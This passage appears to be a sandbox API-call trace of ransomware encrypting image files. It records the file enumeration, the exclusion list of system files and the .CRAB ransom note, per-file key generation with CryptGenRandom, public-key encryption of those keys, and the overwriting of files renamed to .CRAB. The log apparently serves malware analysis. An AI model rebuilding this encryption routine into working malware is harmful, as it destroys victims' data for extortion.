	[0132.715] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png", dwFileAttributes=0x20) returned 1
	[0132.715] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\etx8vj6ma o72p.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\etx8vj6ma o72p.png.crab")) returned 1
	[0132.716] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.716] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png.CRAB"
	[0132.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png.CRAB.CRAB"
	[0132.716] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0132.735] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.736] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.736] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.736] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0132.736] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.736] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.736] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0132.739] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.739] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.739] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0132.739] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.739] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.740] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.740] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.740] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0132.743] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ecd0) returned 1
	[0132.743] CryptGetKeyParam (in: hKey=0x320ecd0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.743] CryptEncrypt (in: hKey=0x320ecd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0132.743] GetLastError () returned 0x0
	[0132.743] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.743] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0132.746] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e810) returned 1
	[0132.746] CryptGetKeyParam (in: hKey=0x320e810, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.746] CryptEncrypt (in: hKey=0x320e810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0132.747] GetLastError () returned 0x0
	[0132.747] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.747] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\etx8vj6MA o72p.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\etx8vj6ma o72p.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.747] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.747] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.748] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x13821, lpOverlapped=0x0) returned 1
	[0132.759] VirtualAlloc (lpAddress=0x0, dwSize=0x13830, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.761] VirtualAlloc (lpAddress=0x0, dwSize=0x13830, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0132.763] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.764] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffec7df, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.764] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x13830, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x13830, lpOverlapped=0x0) returned 1
	[0132.765] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.765] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.769] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.769] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.769] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0132.769] CloseHandle (hObject=0x3ec) returned 1
	[0132.769] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.769] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.770] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.770] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.770] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.770] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.770] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.770] lstrcmpW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2=".") returned 1
	[0132.771] lstrcmpW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="..") returned 1
	[0132.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="G8eeM-NJ_V0uCM0PF yH.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg"
	[0132.771] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.771] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg") returned 62
	[0132.771] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg") returned 62
	[0132.771] lstrlenW (lpString=".jpg") returned 4
	[0132.771] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.771] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0132.771] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.771] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg") returned 62
	[0132.771] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg") returned 62
	[0132.771] lstrcmpiW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="desktop.ini") returned 1
	[0132.771] lstrcmpiW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="autorun.inf") returned 1
	[0132.772] lstrcmpiW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="ntuser.dat") returned -1
	[0132.772] lstrcmpiW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="iconcache.db") returned -1
	[0132.772] lstrcmpiW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="bootsect.bak") returned 1
	[0132.772] lstrcmpiW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="boot.ini") returned 1
	[0132.772] lstrcmpiW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="ntuser.dat.log") returned -1
	[0132.772] lstrcmpiW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="thumbs.db") returned -1
	[0132.772] lstrcmpiW (lpString1="G8eeM-NJ_V0uCM0PF yH.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.772] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.772] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg.CRAB") returned 67
	[0132.772] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\g8eem-nj_v0ucm0pf yh.jpg")) returned 0x20
	[0132.772] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg", dwFileAttributes=0x20) returned 1
	[0132.773] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\g8eem-nj_v0ucm0pf yh.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\g8eem-nj_v0ucm0pf yh.jpg.crab")) returned 1
	[0132.773] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.774] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg.CRAB"
	[0132.774] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg.CRAB.CRAB"
	[0132.774] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0132.776] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.777] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.777] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0132.777] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.777] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.777] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0132.780] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.780] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.780] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.780] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0132.781] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0132.781] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.781] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.781] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.781] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0132.784] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e850) returned 1
	[0132.784] CryptGetKeyParam (in: hKey=0x320e850, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.784] CryptEncrypt (in: hKey=0x320e850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0132.784] GetLastError () returned 0x0
	[0132.785] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.785] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0132.787] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320eb50) returned 1
	[0132.787] CryptGetKeyParam (in: hKey=0x320eb50, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.787] CryptEncrypt (in: hKey=0x320eb50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0132.788] GetLastError () returned 0x0
	[0132.788] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.788] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\G8eeM-NJ_V0uCM0PF yH.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\g8eem-nj_v0ucm0pf yh.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.788] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.788] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.789] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0xc3e, lpOverlapped=0x0) returned 1
	[0132.801] VirtualAlloc (lpAddress=0x0, dwSize=0xc40, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.801] VirtualAlloc (lpAddress=0x0, dwSize=0xc40, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.801] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.801] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffff3c2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.802] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xc40, lpOverlapped=0x0) returned 1
	[0132.802] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.802] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.806] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.806] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.806] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0132.806] CloseHandle (hObject=0x3ec) returned 1
	[0132.806] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.814] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.814] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.814] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.815] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.815] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.815] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.815] lstrcmpW (lpString1="IHCAw.bmp", lpString2=".") returned 1
	[0132.815] lstrcmpW (lpString1="IHCAw.bmp", lpString2="..") returned 1
	[0132.815] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="IHCAw.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp"
	[0132.815] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.815] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp") returned 47
	[0132.816] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp") returned 47
	[0132.816] lstrlenW (lpString=".bmp") returned 4
	[0132.816] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.816] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".bmp ") returned 5
	[0132.816] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.816] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp") returned 47
	[0132.816] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp") returned 47
	[0132.816] lstrcmpiW (lpString1="IHCAw.bmp", lpString2="desktop.ini") returned 1
	[0132.816] lstrcmpiW (lpString1="IHCAw.bmp", lpString2="autorun.inf") returned 1
	[0132.816] lstrcmpiW (lpString1="IHCAw.bmp", lpString2="ntuser.dat") returned -1
	[0132.816] lstrcmpiW (lpString1="IHCAw.bmp", lpString2="iconcache.db") returned 1
	[0132.816] lstrcmpiW (lpString1="IHCAw.bmp", lpString2="bootsect.bak") returned 1
	[0132.816] lstrcmpiW (lpString1="IHCAw.bmp", lpString2="boot.ini") returned 1
	[0132.817] lstrcmpiW (lpString1="IHCAw.bmp", lpString2="ntuser.dat.log") returned -1
	[0132.817] lstrcmpiW (lpString1="IHCAw.bmp", lpString2="thumbs.db") returned -1
	[0132.817] lstrcmpiW (lpString1="IHCAw.bmp", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.817] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.817] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp.CRAB") returned 52
	[0132.817] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\ihcaw.bmp")) returned 0x20
	[0132.817] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp", dwFileAttributes=0x20) returned 1
	[0132.818] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\ihcaw.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\ihcaw.bmp.crab")) returned 1
	[0132.818] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.819] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp.CRAB"
	[0132.819] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp.CRAB.CRAB"
	[0132.819] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0132.822] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.822] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.822] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0132.822] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.822] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.823] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0132.825] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.826] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.826] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0132.826] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.826] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.826] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
